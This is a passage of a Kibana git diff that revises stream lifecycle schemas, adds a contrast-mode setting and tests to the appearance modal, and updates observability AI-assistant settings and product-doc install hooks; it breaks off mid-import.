IngestStreamLifecycleInherit, type IngestStreamEffectiveLifecycle, type PhaseName, isDslLifecycle, @@ -134,6 +145,7 @@ export { export type { SignificantEventsResponse, SignificantEventsGetResponse, + SignificantEventsPreviewResponse, } from './src/api/significant_events'; export { conditionToQueryDsl } from './src/helpers/condition_to_query_dsl'; diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/src/api/significant_events/index.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/api/significant_events/index.ts index 8217c2a2eca3a..ea583de640ec4 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/src/api/significant_events/index.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/api/significant_events/index.ts @@ -35,4 +35,13 @@ type SignificantEventsResponse = StreamQueryKql & { type SignificantEventsGetResponse = SignificantEventsResponse[]; -export type { SignificantEventsResponse, SignificantEventsGetResponse }; +type SignificantEventsPreviewResponse = Pick< + SignificantEventsResponse, + 'occurrences' | 'change_points' | 'kql' +>; + +export type { + SignificantEventsResponse, + SignificantEventsGetResponse, + SignificantEventsPreviewResponse, +}; diff --git a/x-pack/platform/plugins/shared/streams_app/public/util/hierarchy_helpers.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/hierarchy_helpers.ts similarity index 54% rename from x-pack/platform/plugins/shared/streams_app/public/util/hierarchy_helpers.ts rename to x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/hierarchy_helpers.ts index c9bb4024a0a5c..58b7142d6a30b 100644 --- a/x-pack/platform/plugins/shared/streams_app/public/util/hierarchy_helpers.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/hierarchy_helpers.ts @@ -5,18 +5,19 @@ * 2.0. */ -import { Streams } from '@kbn/streams-schema'; +import { Streams } from '../models/streams'; -export function getIndexPatterns(stream: Streams.all.Definition | undefined) { +export function getIndexPatternsForStream( + stream: T +): T extends Streams.all.Definition ? string[] : undefined; + +export function getIndexPatternsForStream(stream: Streams.all.Definition | undefined) { if (!stream) { return undefined; } if (Streams.UnwiredStream.Definition.is(stream)) { return [stream.name]; } - const isRoot = stream.name.indexOf('.') === -1; const dataStreamOfDefinition = stream.name; - return isRoot - ? [dataStreamOfDefinition, `${dataStreamOfDefinition}.*`] - : [`${dataStreamOfDefinition}*`]; + return [dataStreamOfDefinition, `${dataStreamOfDefinition}.*`]; } diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/lifecycle.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/lifecycle.ts index a642de54aa64f..31a345873d0d4 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/lifecycle.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/helpers/lifecycle.ts @@ -7,8 +7,8 @@ import { Streams } from '../models/streams'; import { - isInheritLifecycle, WiredIngestStreamEffectiveLifecycle, + isInheritLifecycle, } from '../models/ingest/lifecycle'; import { isDescendantOf, isChildOf, getSegments } from '../shared/hierarchy'; @@ -24,6 +24,10 @@ export function findInheritedLifecycle( throw new Error('Unable to find inherited lifecycle'); } + if (isInheritLifecycle(originDefinition.ingest.lifecycle)) { + throw new Error('Wired streams can only inherit DSL or ILM'); + } + return { ...originDefinition.ingest.lifecycle, from: originDefinition.name }; } diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/lifecycle/index.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/lifecycle/index.ts index febad57d932bf..8efa9a8e53d52 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/lifecycle/index.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/lifecycle/index.ts @@ -40,7 +40,10 @@ export type IngestStreamLifecycle = | IngestStreamLifecycleILM | IngestStreamLifecycleInherit; -export type WiredIngestStreamEffectiveLifecycle = IngestStreamLifecycle & { from: string }; +export type WiredIngestStreamEffectiveLifecycle = ( + | IngestStreamLifecycleDSL + | IngestStreamLifecycleILM +) & { from: string }; export type UnwiredIngestStreamEffectiveLifecycle = | IngestStreamLifecycle @@ -69,7 +72,7 @@ export const unwiredIngestStreamEffectiveLifecycleSchema: z.Schema = - ingestStreamLifecycleSchema.and(z.object({ from: NonEmptyString })); + z.union([dslLifecycleSchema, ilmLifecycleSchema]).and(z.object({ from: NonEmptyString })); export const ingestStreamEffectiveLifecycleSchema: z.Schema = z.union([unwiredIngestStreamEffectiveLifecycleSchema, wiredIngestStreamEffectiveLifecycleSchema]); diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/wired.test.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/wired.test.ts index 8e0434ce84d8e..6e6743fad4df9 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/wired.test.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/models/ingest/wired.test.ts @@ -99,7 +99,7 @@ describe('WiredStream', () => { text_structure: true, }, effective_lifecycle: { - inherit: {}, + dsl: {}, from: 'logs', }, inherited_fields: {}, @@ -127,7 +127,7 @@ describe('WiredStream', () => { }, }, effective_lifecycle: { - inherit: {}, + dsl: {}, from: 'logs', }, inherited_fields: {}, diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/src/queries/index.ts b/x-pack/platform/packages/shared/kbn-streams-schema/src/queries/index.ts index 2f23b55b9cfcb..4a51c625031af 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/src/queries/index.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/src/queries/index.ts @@ -24,16 +24,6 @@ export interface StreamQueryKql extends StreamQueryBase { export type StreamQuery = StreamQueryKql; -export interface StreamGetResponseBase { - dashboards: string[]; - queries: StreamQuery[]; -} - -export interface StreamUpsertRequestBase { - dashboards: string[]; - queries: StreamQuery[]; -} - const streamQueryBaseSchema: z.Schema = z.object({ id: NonEmptyString, title: NonEmptyString, @@ -43,7 +33,7 @@ export const streamQueryKqlSchema: z.Schema = z.intersection( streamQueryBaseSchema, z.object({ kql: z.object({ - query: NonEmptyString, + query: z.string(), }), }) ); @@ -57,7 +47,7 @@ export const streamQuerySchema: z.Schema = streamQueryKqlSchema; export const upsertStreamQueryRequestSchema = z.object({ title: NonEmptyString, kql: z.object({ - query: NonEmptyString, + query: z.string(), }), }); diff --git a/x-pack/platform/packages/shared/ml/error_utils/src/process_errors.ts b/x-pack/platform/packages/shared/ml/error_utils/src/process_errors.ts index 49d4e81f51a11..a1a4b1006147c 100644 --- a/x-pack/platform/packages/shared/ml/error_utils/src/process_errors.ts +++ b/x-pack/platform/packages/shared/ml/error_utils/src/process_errors.ts @@ -75,7 +75,8 @@ export const extractErrorProperties = (error: ErrorType): MLErrorObject => { ) { errObj.causedBy = error.body.attributes.body.error.caused_by?.caused_by?.reason || - error.body.attributes.body.error.caused_by?.reason; + error.body.attributes.body.error.caused_by?.reason || + undefined; // Remove 'null' option from the types } if ( Array.isArray(error.body.attributes.body.error.root_cause) && diff --git a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.test.tsx b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.test.tsx new file mode 100644 index 0000000000000..56a90203fae13 --- /dev/null +++ b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.test.tsx @@ -0,0 +1,203 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { fireEvent, render } from '@testing-library/react'; +import React from 'react'; + +import { coreMock } from '@kbn/core/public/mocks'; +import { useUpdateUserProfile } from '@kbn/user-profile-components'; +import { AppearanceModal } from './appearance_modal'; + +jest.mock('@kbn/user-profile-components', () => { + const original = jest.requireActual('@kbn/user-profile-components'); + return { + ...original, + useUpdateUserProfile: jest.fn().mockImplementation(() => ({ + userProfileData: { + userSettings: { + darkMode: 'light', + contrastMode: 'standard', + }, + }, + isLoading: false, + update: jest.fn(), + userProfileLoaded: true, + })), + }; +}); + +jest.mock('./values_group', () => ({ + ValuesGroup: jest.fn().mockImplementation(({ title, selectedValue, onChange }) => ( +
+

{title}

+
+ + +
+
Selected: {selectedValue}
+
+ )), +})); + +describe('AppearanceModal', () => { + const closeModal = jest.fn(); + const uiSettingsClient = coreMock.createStart().uiSettings; + let updateMock: jest.Mock; + + beforeEach(() => { + jest.clearAllMocks(); + updateMock = jest.fn(); + (useUpdateUserProfile as jest.Mock).mockImplementation(() => ({ + userProfileData: { + userSettings: { + darkMode: 'light', + contrastMode: 'standard', + }, + }, + isLoading: false, + update: updateMock, + userProfileLoaded: true, + })); + }); + + it('renders both color mode and contrast mode components', () => { + const { getByTestId } = render( + + ); + + // Check that both the color mode and contrast mode components are rendered + expect(getByTestId('values-group-Color mode')).toBeInTheDocument(); + expect(getByTestId('values-group-Interface contrast')).toBeInTheDocument(); + }); + + it('updates color mode when user changes selection', () => { + const { getByTestId } = render( + + ); + + // Click the dark option in the color mode group + fireEvent.click(getByTestId('option-dark-Color mode')); + + // Check that the onChange handler was called with colorMode: dark + expect(getByTestId('values-group-Color mode')).toHaveTextContent('Selected: dark'); + }); + + it('updates contrast mode when user changes selection', () => { + const { getByTestId } = render( + + ); + + // Click the high contrast option + fireEvent.click(getByTestId('option-high-Interface contrast')); + + // Check that the contrast mode was updated + expect(getByTestId('values-group-Interface contrast')).toHaveTextContent('Selected: high'); + }); + + it('saves both color mode and contrast mode when saving changes', async () => { + const { getByText, getByTestId } = render( + + ); + + // Change color mode to dark + fireEvent.click(getByTestId('option-dark-Color mode')); + + // Change contrast mode to high + fireEvent.click(getByTestId('option-high-Interface contrast')); + + // Click save button + fireEvent.click(getByText('Save changes')); + + // Check that the update function was called with both settings + expect(updateMock).toHaveBeenCalledWith({ + userSettings: { + darkMode: 'dark', + contrastMode: 'high', + }, + }); + + // Modal should be closed + expect(closeModal).toHaveBeenCalled(); + }); + + it('discards changes when clicking discard button', () => { + const { getByText, getByTestId } = render( + + ); + + // Change color mode to dark + fireEvent.click(getByTestId('option-dark-Color mode')); + + // Change contrast mode to high + fireEvent.click(getByTestId('option-high-Interface contrast')); + + // Click discard button + fireEvent.click(getByText('Discard')); + + // Check that the update function was not called + expect(updateMock).not.toHaveBeenCalled(); + + // Modal should be closed + expect(closeModal).toHaveBeenCalled(); + }); + + it('does not update settings if no changes were made', () => { + const { getByText } = render( + + ); + + // Click save button without making changes + fireEvent.click(getByText('Save changes')); + + // Update should not be called since no changes were made + expect(updateMock).not.toHaveBeenCalled(); + + // Modal should still be closed + expect(closeModal).toHaveBeenCalled(); + }); + + it('shows contrast options even in serverless mode', () => { + const { getByTestId } = render( + + ); + + // Contrast mode should still be present in serverless mode + expect(getByTestId('values-group-Interface contrast')).toBeInTheDocument(); + }); +}); diff --git a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.tsx b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.tsx index b29f15a26c8c3..55a734f535cba 100644 --- a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.tsx +++ b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_modal.tsx @@ -20,7 +20,10 @@ import { import { i18n } from '@kbn/i18n'; import type { IUiSettingsClient } from '@kbn/core-ui-settings-browser'; -import type { DarkModeValue as ColorMode } from '@kbn/user-profile-components'; +import type { + DarkModeValue as ColorMode, + ContrastModeValue as ContrastMode, +} from '@kbn/user-profile-components'; import { type Value, ValuesGroup } from './values_group'; import { useAppearance } from './use_appearance_hook'; @@ -73,12 +76,125 @@ interface Props { isServerless: boolean; } +const ColorModeGroup: FC<{ + isServerless: boolean; + colorMode: ColorMode; + onChange: ({ colorMode }: { colorMode: ColorMode }, updateUserProfile: boolean) => void; +}> = ({ isServerless, colorMode, onChange }) => { + return ( + <> + + title={i18n.translate('xpack.cloudLinks.userMenuLinks.appearanceModalColorModeTitle', { + defaultMessage: 'Color mode', + })} + values={ + isServerless + ? colorModeOptions.filter(({ id }) => id !== 'space_default') + : colorModeOptions + } + selectedValue={colorMode} + onChange={(id) => { + onChange({ colorMode: id }, false); + }} + ariaLabel={i18n.translate( + 'xpack.cloudLinks.userMenuLinks.appearanceModalColorModeAriaLabel', + { + defaultMessage: 'Appearance color mode', + } + )} + /> + + {colorMode === 'space_default' && ( + <> + + +

+ {i18n.translate( + 'xpack.cloudLinks.userMenuLinks.appearanceModalDeprecatedSpaceDefaultDescr', + { + defaultMessage: + 'All users with the Space default color mode enabled will be automatically transitioned to the System color mode.', + } + )} +

+
+ + + )} + + ); +}; + +const ContrastModeGroup: FC<{ + contrastMode: ContrastMode; + onChange: ({ contrastMode }: { contrastMode: ContrastMode }, updateUserProfile: boolean) => void; +}> = ({ contrastMode, onChange }) => { + return ( + + title={i18n.translate('xpack.cloudLinks.userMenuLinks.appearanceModalContrastModeTitle', { + defaultMessage: 'Interface contrast', + })} + values={[ + { + id: 'system', + label: systemLabel, + icon: 'desktop', + }, + { + id: 'standard', + label: i18n.translate( + 'xpack.cloudLinks.userMenuLinks.appearanceModalContrastModeStandard', + { + defaultMessage: 'Normal', + } + ), + icon: 'contrast', + }, + { + id: 'high', + label: i18n.translate('xpack.cloudLinks.userMenuLinks.appearanceModalContrastModeHigh', { + defaultMessage: 'High', + }), + icon: 'contrastHigh', + }, + ]} + selectedValue={contrastMode} + onChange={(id) => { + onChange({ contrastMode: id }, false); + }} + ariaLabel={i18n.translate( + 'xpack.cloudLinks.userMenuLinks.appearanceModalContrastModeAriaLabel', + { + defaultMessage: 'Appearance contrast mode', + } + )} + /> + ); +}; + export const AppearanceModal: FC = ({ closeModal, uiSettingsClient, isServerless }) => { const modalTitleId = useGeneratedHtmlId(); - const { onChange, colorMode, isLoading, initialColorModeValue } = useAppearance({ + const { + colorMode, + initialColorModeValue, + contrastMode, + initialContrastModeValue, + isLoading, + onChange, + } = useAppearance({ uiSettingsClient, defaultColorMode: isServerless ? 'system' : 'space_default', + defaultContrastMode: 'standard', }); return ( @@ -103,53 +219,11 @@ export const AppearanceModal: FC = ({ closeModal, uiSettingsClient, isSer - - title={i18n.translate('xpack.cloudLinks.userMenuLinks.appearanceModalColorModeTitle', { - defaultMessage: 'Color mode', - })} - values={ - isServerless - ? colorModeOptions.filter(({ id }) => id !== 'space_default') - : colorModeOptions - } - selectedValue={colorMode} - onChange={(id) => { - onChange({ colorMode: id }, false); - }} - ariaLabel={i18n.translate( - 'xpack.cloudLinks.userMenuLinks.appearanceModalColorModeAriaLabel', - { - defaultMessage: 'Appearance color mode', - } - )} - /> + - {colorMode === 'space_default' && ( - <> - - -

- {i18n.translate( - 'xpack.cloudLinks.userMenuLinks.appearanceModalDeprecatedSpaceDefaultDescr', - { - defaultMessage: - 'All users with the Space default color mode enabled will be automatically transitioned to the System color mode.', - } - )} -

-
- - - )} + + +
@@ -162,8 +236,8 @@ export const AppearanceModal: FC = ({ closeModal, uiSettingsClient, isSer { - if (colorMode !== initialColorModeValue) { - await onChange({ colorMode }, true); + if (colorMode !== initialColorModeValue || contrastMode !== initialContrastModeValue) { + onChange({ colorMode, contrastMode }, true); } closeModal(); }} diff --git a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.test.tsx b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.test.tsx index 5fdd762184a6b..9765c930b2fe3 100644 --- a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.test.tsx +++ b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.test.tsx @@ -5,21 +5,85 @@ * 2.0. */ +import { fireEvent, render } from '@testing-library/react'; import React from 'react'; -import { render, fireEvent } from '@testing-library/react'; -import '@testing-library/jest-dom'; + import { coreMock } from '@kbn/core/public/mocks'; import { securityMock } from '@kbn/security-plugin/public/mocks'; - +import { useUpdateUserProfile } from '@kbn/user-profile-components'; import { AppearanceSelector } from './appearance_selector'; +jest.mock('./appearance_modal', () => ({ + AppearanceModal: jest.fn().mockImplementation(({ closeModal, uiSettingsClient }) => { + return ( +
+
+
+ + +
+ ); + }), +})); + +jest.mock('@kbn/user-profile-components', () => { + const original = jest.requireActual('@kbn/user-profile-components'); + return { + ...original, + useUpdateUserProfile: jest.fn().mockImplementation(() => ({ + userProfileData: { + userSettings: { + darkMode: 'light', + contrastMode: 'standard', + }, + }, + isLoading: false, + update: jest.fn(), + userProfileLoaded: true, + })), + }; +}); + describe('AppearanceSelector', () => { const closePopover = jest.fn(); + let core: ReturnType; + let security: ReturnType; + + beforeEach(() => { + core = coreMock.createStart(); + security = securityMock.createStart(); - it('renders correctly and toggles dark mode', () => { - const security = securityMock.createStart(); - const core = coreMock.createStart(); + (useUpdateUserProfile as jest.Mock).mockImplementation(() => ({ + userProfileData: { + userSettings: { + darkMode: 'light', + contrastMode: 'standard', + }, + }, + isLoading: false, + update: jest.fn(), + userProfileLoaded: true, + })); + // Mock the openModal to return a ref with proper close method + core.overlays.openModal.mockImplementation(() => ({ + close: jest.fn(), + onClose: Promise.resolve(), + })); + }); + + it('renders correctly and opens the appearance modal', () => { const { getByTestId } = render( { fireEvent.click(appearanceSelector); expect(core.overlays.openModal).toHaveBeenCalled(); + expect(closePopover).toHaveBeenCalled(); + }); + + it('does not render when appearance is not visible', () => { + (useUpdateUserProfile as jest.Mock).mockImplementation(() => ({ + userProfileData: null, + isLoading: false, + update: jest.fn(), + userProfileLoaded: true, + })); + + const { queryByTestId } = render( + + ); + + expect(queryByTestId('appearanceSelector')).toBeNull(); }); }); diff --git a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.tsx b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.tsx index 60eb3f0114443..3f823f6c46ee6 100644 --- a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.tsx +++ b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/appearance_selector.tsx @@ -41,6 +41,7 @@ function AppearanceSelectorUI({ security, core, closePopover, isServerless }: Pr const { isVisible } = useAppearance({ uiSettingsClient: core.uiSettings, defaultColorMode: 'space_default', + defaultContrastMode: 'standard', }); const modalRef = useRef(null); diff --git a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/use_appearance_hook.ts b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/use_appearance_hook.ts index 797a8dd39e3d0..8d7296709fabb 100644 --- a/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/use_appearance_hook.ts +++ b/x-pack/platform/plugins/private/cloud_integrations/cloud_links/public/maybe_add_cloud_links/appearance_selector/use_appearance_hook.ts @@ -11,14 +11,40 @@ import { IUiSettingsClient } from '@kbn/core-ui-settings-browser'; import { useUpdateUserProfile, type DarkModeValue as ColorMode, + type ContrastModeValue as ContrastMode, } from '@kbn/user-profile-components'; interface Deps { uiSettingsClient: IUiSettingsClient; defaultColorMode: ColorMode; + defaultContrastMode: ContrastMode; } -export const useAppearance = ({ uiSettingsClient, defaultColorMode }: Deps) => { +interface AppearanceAPI { + setColorMode: (colorMode: ColorMode, updateUserProfile: boolean) => void; + colorMode: ColorMode; + initialColorModeValue: ColorMode; + setContrastMode: (contrastMode: ContrastMode, updateUserProfile: boolean) => void; + contrastMode: ContrastMode; + initialContrastModeValue: ContrastMode; + isVisible: boolean; + isLoading: boolean; + onChange: ( + opts: { colorMode?: ColorMode; contrastMode?: ContrastMode }, + updateUserProfile: boolean + ) => void; +} + +interface ChangeOpts { + colorMode?: ColorMode; + contrastMode?: ContrastMode; +} + +export const useAppearance = ({ + uiSettingsClient, + defaultColorMode, + defaultContrastMode, +}: Deps): AppearanceAPI => { // If a value is set in kibana.yml (uiSettings.overrides.theme:darkMode) // we don't allow the user to change the theme color. const valueSetInKibanaConfig = uiSettingsClient.isOverridden('theme:darkMode'); @@ -36,21 +62,35 @@ export const useAppearance = ({ uiSettingsClient, defaultColorMode }: Deps) => { ), }, pageReloadChecker: (prev, next) => { - return prev?.userSettings?.darkMode !== next.userSettings?.darkMode; + const hasChangedDarkMode = prev?.userSettings?.darkMode !== next.userSettings?.darkMode; + const hasChangedContrastMode = + prev?.userSettings?.contrastMode !== next.userSettings?.contrastMode; + return hasChangedDarkMode || hasChangedContrastMode; }, }); - const { userSettings: { darkMode: colorModeUserProfile = defaultColorMode } = {} } = - userProfileData ?? { - userSettings: {}, - }; + const { + userSettings: { + darkMode: colorModeUserProfile = defaultColorMode, + contrastMode: contrastModeUserProfile = defaultContrastMode, + } = {}, + } = userProfileData ?? { + userSettings: {}, + }; const [colorMode, setColorMode] = useState(colorModeUserProfile); const [initialColorModeValue, setInitialColorModeValue] = useState(colorModeUserProfile); + const [contrastMode, setContrastMode] = useState(contrastModeUserProfile); + const [initialContrastModeValue, setInitialContrastModeValue] = + useState(contrastModeUserProfile); + const onChange = useCallback( - ({ colorMode: updatedColorMode }: { colorMode?: ColorMode }, persist: boolean) => { + ( + { colorMode: updatedColorMode, contrastMode: updatedContrastMode }: ChangeOpts, + persist: boolean + ) => { if (isLoading) { return; } @@ -59,8 +99,9 @@ export const useAppearance = ({ uiSettingsClient, defaultColorMode }: Deps) => { if (updatedColorMode) { setColorMode(updatedColorMode); } - - // TODO: here we will update the contrast when available + if (updatedContrastMode) { + setContrastMode(updatedContrastMode); + } if (!persist) { return; @@ -69,6 +110,7 @@ export const useAppearance = ({ uiSettingsClient, defaultColorMode }: Deps) => { return update({ userSettings: { darkMode: updatedColorMode, + contrastMode: updatedContrastMode, }, }); }, @@ -77,23 +119,32 @@ export const useAppearance = ({ uiSettingsClient, defaultColorMode }: Deps) => { useEffect(() => { setColorMode(colorModeUserProfile); - }, [colorModeUserProfile]); + setContrastMode(contrastModeUserProfile); + }, [colorModeUserProfile, contrastModeUserProfile]); useEffect(() => { if (userProfileLoaded) { - const storedValue = userProfileData?.userSettings?.darkMode; - if (storedValue) { - setInitialColorModeValue(storedValue); + const { darkMode: storedValueDarkMode, contrastMode: storedValueContrastMode } = + userProfileData?.userSettings ?? {}; + + if (storedValueDarkMode) { + setInitialColorModeValue(storedValueDarkMode); + } + if (storedValueContrastMode) { + setInitialContrastModeValue(storedValueContrastMode); } } }, [userProfileData, userProfileLoaded]); return { - isVisible: valueSetInKibanaConfig ? false : Boolean(userProfileData), setColorMode, colorMode, - onChange, - isLoading, initialColorModeValue, + setContrastMode, + contrastMode, + initialContrastModeValue, + isVisible: valueSetInKibanaConfig ? false : Boolean(userProfileData), + isLoading, + onChange, }; }; diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/common/ui_settings.ts b/x-pack/platform/plugins/private/observability_ai_assistant_management/common/ui_settings.ts index 651cc94c2dbec..007c9ed2d498c 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/common/ui_settings.ts +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/common/ui_settings.ts @@ -11,31 +11,8 @@ import { i18n } from '@kbn/i18n'; import { aiAssistantSimulatedFunctionCalling, aiAssistantSearchConnectorIndexPattern, - aiAssistantAnonymizationRules, - NER_MODEL_ID, } from '@kbn/observability-ai-assistant-plugin/common'; -const baseRuleSchema = schema.object({ - enabled: schema.boolean(), -}); - -const regexRuleSchema = schema.allOf([ - baseRuleSchema, - schema.object({ - type: schema.literal('regex'), - pattern: schema.string(), - entityClass: schema.string(), - }), -]); - -const nerRuleSchema = schema.allOf([ - baseRuleSchema, - schema.object({ - type: schema.literal('ner'), - modelId: schema.maybe(schema.string()), - }), -]); - export const uiSettings: Record = { [aiAssistantSimulatedFunctionCalling]: { category: ['observability'], @@ -80,50 +57,4 @@ export const uiSettings: Record = { requiresPageReload: true, solution: 'oblt', }, - [aiAssistantAnonymizationRules]: { - category: ['observability'], - name: i18n.translate( - 'xpack.observabilityAiAssistantManagement.settingsTab.anonymizationRulesLabel', - { defaultMessage: 'Anonymization Rules' } - ), - value: JSON.stringify( - [ - { - entityClass: 'EMAIL', - type: 'regex', - pattern: '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}', - enabled: false, - }, - { - type: 'ner', - modelId: NER_MODEL_ID, - enabled: false, - }, - ], - null, - 2 - ), - description: i18n.translate( - 'xpack.observabilityAiAssistantManagement.settingsPage.anonymizationRulesDescription', - { - defaultMessage: `List of anonymization rules -
    -
  • type: "ner" or "regex"
  • -
  • entityClass: (regex type only) eg: EMAIL, URL, IP
  • -
  • pattern: (regex type only) the regular-expression string to match
  • -
  • modelId: (ner type only) ID of the NER (Named Entity Recognition) model to use
  • -
  • enabled: boolean flag to turn the rule on or off
  • -
`, - values: { - ul: (chunks) => `
    ${chunks}
`, - li: (chunks) => `
  • ${chunks}
  • `, - strong: (chunks) => `${chunks}`, - }, - } - ), - schema: schema.arrayOf(schema.oneOf([regexRuleSchema, nerRuleSchema])), - type: 'json', - requiresPageReload: true, - solution: 'oblt', - }, }; diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_get_product_doc_status.ts b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_get_product_doc_status.ts index ef95d51f78d49..a14bd22befe58 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_get_product_doc_status.ts +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_get_product_doc_status.ts @@ -9,13 +9,13 @@ import { useQuery } from '@tanstack/react-query'; import { REACT_QUERY_KEYS } from '../constants'; import { useKibana } from './use_kibana'; -export function useGetProductDocStatus() { +export function useGetProductDocStatus(inferenceId: string | undefined) { const { productDocBase } = useKibana().services; const { isLoading, isError, isSuccess, isRefetching, data, refetch } = useQuery({ - queryKey: [REACT_QUERY_KEYS.GET_PRODUCT_DOC_STATUS], + queryKey: [REACT_QUERY_KEYS.GET_PRODUCT_DOC_STATUS, inferenceId], queryFn: async () => { - return productDocBase!.installation.getStatus(); + return productDocBase!.installation.getStatus({ inferenceId }); }, keepPreviousData: false, refetchOnWindowFocus: false, diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_install_product_doc.ts b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_install_product_doc.ts index cb32efa7e3908..7fabf7c3306fc 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_install_product_doc.ts +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_install_product_doc.ts @@ -20,11 +20,10 @@ export function useInstallProductDoc() { notifications: { toasts }, } = useKibana().services; const queryClient = useQueryClient(); - - return useMutation( + return useMutation( [REACT_QUERY_KEYS.INSTALL_PRODUCT_DOC], - () => { - return productDocBase!.installation.install(); + (inferenceId: string) => { + return productDocBase!.installation.install({ inferenceId }); }, { onSuccess: () => { diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_uninstall_product_doc.ts b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_uninstall_product_doc.ts index 4aa3b5423faa1..8646b92c6b8d9 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_uninstall_product_doc.ts +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/hooks/use_uninstall_product_doc.ts @@ -21,10 +21,10 @@ export function useUninstallProductDoc() { } = useKibana().services; const queryClient = useQueryClient(); - return useMutation( + return useMutation( [REACT_QUERY_KEYS.UNINSTALL_PRODUCT_DOC], - () => { - return productDocBase!.installation.uninstall(); + (inferenceId: string) => { + return productDocBase!.installation.uninstall({ inferenceId }); }, { onSuccess: () => { diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/knowledge_base_edit_manual_entry_flyout.tsx b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/knowledge_base_edit_manual_entry_flyout.tsx index 32b7b9096dea7..a5f096788c75a 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/knowledge_base_edit_manual_entry_flyout.tsx +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/knowledge_base_edit_manual_entry_flyout.tsx @@ -140,7 +140,6 @@ export function KnowledgeBaseEditManualEntryFlyout({ fullWidth value={newEntryTitle} onChange={(e) => setNewEntryTitle(e.target.value)} - isInvalid={isEntryTitleInvalid} /> diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/change_kb_model.tsx b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/change_kb_model.tsx index 2697639f95c7c..11b9d7b828719 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/change_kb_model.tsx +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/change_kb_model.tsx @@ -26,13 +26,20 @@ import { } from '@kbn/ai-assistant/src/utils/get_model_options_for_inference_endpoints'; import { useInferenceEndpoints, UseKnowledgeBaseResult } from 